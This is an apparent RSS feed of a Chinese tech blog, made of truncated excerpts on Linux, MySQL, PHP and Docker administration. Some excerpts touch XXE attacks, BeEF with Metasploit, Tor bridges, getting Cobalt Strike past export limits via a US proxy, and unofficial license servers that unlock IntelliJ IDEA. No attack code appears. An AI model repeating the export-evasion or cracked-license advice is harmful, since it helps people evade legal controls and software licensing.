解决方案：删除所有分区，重新分区。 2.启动报警：warning failed to connect to lvmetad fall back to internal scanning 解决方案：安装过程中Grub安装到第一块磁盘 3.启动过程中卡started user ma…Mon, 21 Nov 2016 00:00:00 GMT未分类https://xsecs.com/archives/233/https://xsecs.com/archives/233/http://askubuntu.com/questions/177192/how-do-i-create-a-32-bit-wine-prefix 81 down vote accepted To create a 32-bit WINE prefix on a 64-bit Ubuntu sys…Tue, 12 Jul 2016 00:00:00 GMT未分类https://xsecs.com/archives/235/https://xsecs.com/archives/235/IE MSXML3 native jet40 mfc42Tue, 12 Jul 2016 00:00:00 GMT未分类https://xsecs.com/archives/241/https://xsecs.com/archives/241/dpkg --add-architecture i386 apt-get update （更新一下） apt-get install wineTue, 12 Jul 2016 00:00:00 GMT未分类https://xsecs.com/archives/231/https://xsecs.com/archives/231//lib/systemd/system/Sun, 10 Jul 2016 00:00:00 GMT未分类https://xsecs.com/archives/229/https://xsecs.com/archives/229/原文地址：http://www.wy182000.com/2014/11/16/%e5%b0%8f%e7%b1%b3%e8%b7%af%e7%94%b1-vpn%e5%8a%a0chnroutes-%e5%ae%9e%e7%8e%b0/ 刚刚过去的双11买了一个小米路由，既然是openwrt的内核自…Fri, 08 Jul 2016 00:00:00 GMT未分类https://xsecs.com/archives/226/https://xsecs.com/archives/226/golang.org被屏蔽了，直接访问不了，解决办法如下： 在 http://ping.eu/ping/ 上ping一下golang.org，获取到IP，如图： 然后，在C:\Windows\System32\drivers\etc\hosts中，添加ip和golang.org的对应关系，添加如下一…Wed, 06 Jul 2016 00:00:00 GMT未分类https://xsecs.com/archives/216/https://xsecs.com/archives/216/debian升级到kali2 #!/bin/bash ### Replace the Debian repos with Kali repos ### mv /etc/apt/sources.list /etc/apt/sources.list.debian cat <<EOF > /etc/apt…Tue, 05 Jul 2016 00:00:00 GMT未分类https://xsecs.com/archives/219/https://xsecs.com/archives/219/自启动脚本，放置于/etc/init.d/vnc #! /bin/sh export USER="root" export PATH="/usr/local/bin:/usr/bin:/bin:/usr/bin/X11" NAME=vnc start() { su - $USER -c"vncser…Tue, 05 Jul 2016 00:00:00 GMT未分类https://xsecs.com/archives/214/https://xsecs.com/archives/214/原文：https://askubuntu.com/questions/587083/virtualbox-how-to-increase-video-memory Virtual Box supports up to 256 MB of video RAM. This can not be set …Sun, 03 Jul 2016 00:00:00 GMT未分类https://xsecs.com/archives/212/https://xsecs.com/archives/212/最近在做项目的wap版，有个需求就是，先判断手机上是否有我们的APP应用，如果有的话打开应用，没有才跳转到wap页面。 wap简单来说就是运行在移动端浏览器上的网站。不管应用在什么地方，总之就是浏览器呗，可以通过JS来判断本地是否有某应用，实现方式实际就是将http协议转为本地软件协议。 还是直接贴…Tue, 28 Jun 2016 00:00:00 GMT未分类https://xsecs.com/archives/208/https://xsecs.com/archives/208/tp-link TL-WN823N sudo apt-get install -y git ; git clone https://github.com/Mange/rtl8192eu-linux-driver rtl8192 ; cd rtl8192 ; sudo make && sudo mak…Mon, 20 Jun 2016 00:00:00 GMT未分类https://xsecs.com/archives/205/https://xsecs.com/archives/205/$ brew install docker $ brew install boot2docker $ boot2docker init $ boot2docker start $ $(boot2docker shellinit) $ docker run hello-worldSun, 19 Jun 2016 00:00:00 GMT未分类https://xsecs.com/archives/200/https://xsecs.com/archives/200/安装完后启动报错： mysql.server start： . ERROR! The server quit without updating PID file (/usr/local/var/mysql/bogon.pid). mysql -uroot -p： ERROR 2002 (HY000)…Sun, 05 Jun 2016 00:00:00 GMT未分类https://xsecs.com/archives/193/https://xsecs.com/archives/193/默认不记录pid,导致brew无法控制php-fpm 1.开启php-fpm.conf中pid = run/php-fpm.pid 2.brew services restart php-fpmMon, 16 May 2016 00:00:00 GMT未分类https://xsecs.com/archives/196/https://xsecs.com/archives/196/：0，$s/from/to/g 替换第 n 行开始到最后一行中每一行所有 from 为 to vi/vim 中可以使用 ：s 命令来替换字符串。该命令有很多种不同细节使用方法，可以实现复杂的功能，记录几种在此，方便以后查询。 ：s/vivian/sky/ 替换当前行第一个 vivian 为 sky …Mon, 16 May 2016 00:00:00 GMT未分类https://xsecs.com/archives/172/https://xsecs.com/archives/172/Adobe Dreamweaver CC Mac 2015中文版(Dreamweaver苹果Mac版)是Adobe公司为苹果系统Mac开发的一款网页制作工具，集成简体中文。使用Adobe Dreamweaver CC for Mac 2015可视化环境中设计的你网页，非常方便高效完成网页设计。更可让…Sun, 15 May 2016 00:00:00 GMT未分类https://xsecs.com/archives/144/https://xsecs.com/archives/144/Sun, 20 Mar 2016 00:00:00 GMT未分类https://xsecs.com/archives/147/https://xsecs.com/archives/147/本文主要整理了Mysql 两大常用的存储引擎MyISAM，InnoDB的六大常见区别，来源于Mysql手册以及互联网的资料 InnoDB与Myisam的六大区别 MyISAM InnoDB 构成上的区别： 每个MyISAM在磁盘上存储成三个文件。第一个文件的名字以表的名字开始，扩展名指出文件类型。 …Sun, 20 Mar 2016 00:00:00 GMT未分类https://xsecs.com/archives/152/https://xsecs.com/archives/152/对查询进行优化，应尽量避免全表扫描，首先应考虑在 where 及 order by 涉及的列上建立索引: .尝试下面的技巧以避免优化器错选了表扫描： · 使用ANALYZE TABLE tbl_name为扫描的表更新关键字分布。 · 对扫描的表使用FORCE INDEX告知MySQL，相对于使用给定…Sun, 20 Mar 2016 00:00:00 GMT未分类https://xsecs.com/archives/140/https://xsecs.com/archives/140/http://stackoverflow.com/questions/10409897/ioerror-input-output-error-when-printing I think it has to do with the terminal the process is attached to…Wed, 24 Feb 2016 00:00:00 GMT未分类https://xsecs.com/archives/135/https://xsecs.com/archives/135///创建临时表空间 create temporary tablespace test_temp tempfile 'E:\oracle\product\10.2.0\oradata\testserver\test_temp01.dbf' size 32m autoextend on next 32m…Sun, 07 Feb 2016 00:00:00 GMT未分类https://xsecs.com/archives/137/https://xsecs.com/archives/137/跨版本：expdp username/password directory=data_pump_dir dumpfile=*.dmp full=y version=11.1.0.6.0 impdp scott/tiger DIRECTORY=dpdata1 DUMPFILE=expdp.dmp SC…Sun, 07 Feb 2016 00:00:00 GMT未分类https://xsecs.com/archives/126/https://xsecs.com/archives/126/cd /usr/local/ git remote set-url origin http://mirrors.ustc.edu.cn/homebrew.git 或者这个：git remote set-url origin git://mirrors.tuna.tsinghua.edu.cn/hom…Mon, 18 Jan 2016 00:00:00 GMT未分类https://xsecs.com/archives/128/https://xsecs.com/archives/128/原文：http://drops.wooyun.org/tips/5290 0x00 XML简介 XML 可扩展标记语言，被设计用来传输和存储数据。其形式多样 例如： 1.文档格式（OOXML，ODF,PDF,RSS,DOCX...） 2.图片格式（SVG,EXIF Headers,...） 3.配置…Mon, 18 Jan 2016 00:00:00 GMT未分类https://xsecs.com/archives/115/https://xsecs.com/archives/115//dev/block/vold/179:65 /dev/block/mmcblk1p1Sat, 02 Jan 2016 00:00:00 GMT未分类https://xsecs.com/archives/111/https://xsecs.com/archives/111/原文：http://www.jb51.net/article/48984.htm 说来惭愧，以前在去掉数组的空值是都是强写foreach或者while的，利用这两个语法结构来删除数组中的空元素，简单代码如下： 复制代码 代码如下: <?php foreach( $arr as $k=>$v){ if…Wed, 23 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/100/https://xsecs.com/archives/100/原文链接：http://drops.wooyun.org/papers/4544 0x00 前言 里面很多都是像laterain学习到的, 如果能考上cuit的话 自动献菊花了。 0x01 安装的问题 首先拿到一份源码 肯定是先install上。 而在安装文件上又会经常出现问题。 一般的安装文件在安…Mon, 14 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/95/https://xsecs.com/archives/95/sysv-rc-confSun, 13 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/75/https://xsecs.com/archives/75/https://bridges.torproject.org/bridges?transport=meekFri, 11 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/78/https://xsecs.com/archives/78/最近对于我们翻墙党来说最好的消息就是TOR复活了。从2010年开始，GFW逐渐把绝大部分TOR中继节点和目录服务器的IP都列入了黑名单，导致TOR无法在墙内独立联网，只能靠网桥，但不少网桥IP也被GFW加入了黑名单，导致这几年TOR的翻墙效果一直都不好。 不 过最近出的meek插件和obfs4网桥又…Fri, 11 Dec 2015 00:00:00 GMTlifehttps://xsecs.com/archives/84/https://xsecs.com/archives/84/Tor Process Helper functions for working with tor as a process. NO_TORRC: when provided as a torrc_path tor is ran with a blank configuration DEFAULT_…Fri, 11 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/88/https://xsecs.com/archives/88/Module for interacting with the Tor control socket. The Controller is a wrapper around a ControlSocket, retaining many of its methods (connect, close,…Fri, 11 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/72/https://xsecs.com/archives/72/原文：http://blog.csdn.net/lgm252008/article/details/11201467 具体步骤如下: 首先，需要一个pem的证书，该证书需要与开发时签名用的一致。 具体生成pem证书方法如下： 1. 登录到 iPhone Developer Connection Po…Thu, 10 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/68/https://xsecs.com/archives/68/转自：http://orangeholic.iteye.com/blog/1701117 Mysql 查询缓存 查询缓存的作用就是当查询接收到一个和之前同样的查询，服务器将会从查询缓存种检索结果，而不是再次分析和执行上次的查询。这样就大大提高了性能，节省时间。 1.配置查询缓存 修改配置文件，修改[…Sun, 06 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/61/https://xsecs.com/archives/61/1.git clone https://github.com/phpredis/phpredis.git 2./usr/local/php7/bin/phpize 提示缺autoconf apt-get install m4 apt-get install autoconf 3../configur…Fri, 04 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/65/https://xsecs.com/archives/65/function a() { b(); } function b() { $backtrace = debug_backtrace(); array_shift($backtrace); var_dump($backtrace); } a();Fri, 04 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/38/https://xsecs.com/archives/38/install lxde kali: apt-get install lxde-core lxde kali-defaults kali-root-login desktop-base ubuntu: apt-get install lxde-core lxde desktop-base Just …Thu, 03 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/40/https://xsecs.com/archives/40/转载自http://hi.baidu.com/u_chen/item/560f1504a0a77367d45a1184 查看日志，有一个[warn]: 3660#0: 20000 worker_connections are more than open file resource limit: 1…Thu, 03 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/42/https://xsecs.com/archives/42/用Ubuntu的apt包管理工具安装的mysql数据库，默认将数据库文件保存在/var/lib/mysql目录下，时间久了数据库越来越大，所以准备挂载个新的硬盘专门存放mysql数据库。 1、确定mysql数据库文件存放目录 一般默认是在/var/lib/mysql目录下。先登录自己的mysql数据…Thu, 03 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/53/https://xsecs.com/archives/53/编译环境 sudo apt-get install build-essential xml sudo apt-get install libxml2-dev pcre sudo apt-get install libpcre3-dev jpeg sudo apt-get install libjpe…Thu, 03 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/59/https://xsecs.com/archives/59/注册时选择 License server ，填 http://idea.lanyus.com/ http://idea.qinxi1992.cn ，然后点击 OK，就搞定了。 注意 http://idea.lanyus.com/ http://idea.qinxi1992.cn 务必加上最后的 / …Thu, 03 Dec 2015 00:00:00 GMT未分类https://xsecs.com/archives/32/https://xsecs.com/archives/32/本文将主要介绍如何在BeEF中配置和使用metapsloit 如何配置beef和metasploit windows下安装BeEF是一件比较麻烦的事，因为BeEF使用了ruby语言编写，同时需要ruby下的各种库支持，所以本文的实验环境将在著名的 linux发行版BackTrack5—R2进行，省去…Mon, 30 Nov 2015 00:00:00 GMT未分类https://xsecs.com/archives/15/https://xsecs.com/archives/15/官网下载地址:https://www.cobaltstrike.com/download 作者解释Cobalt Strike是美国对外限制型出口软件，只在美国和加拿大允许发售。 所以我们需要google搜索下usa的个人代理来绕开限制。 这里检测还是计较严格的，很多小伙伴可能是美国的ip也下载不了，…Sun, 29 Nov 2015 00:00:00 GMTmemohttps://xsecs.com/archives/22/https://xsecs.com/archives/22/Ruby Version Manager简称RVM,是一款非常好用的ruby版本管理以及安装工具。 关于rvm的安装，可以参考以下文章： use rvm install and manage ruby version Set up professional rails3 develpment on …Sun, 29 Nov 2015 00:00:00 GMTmemo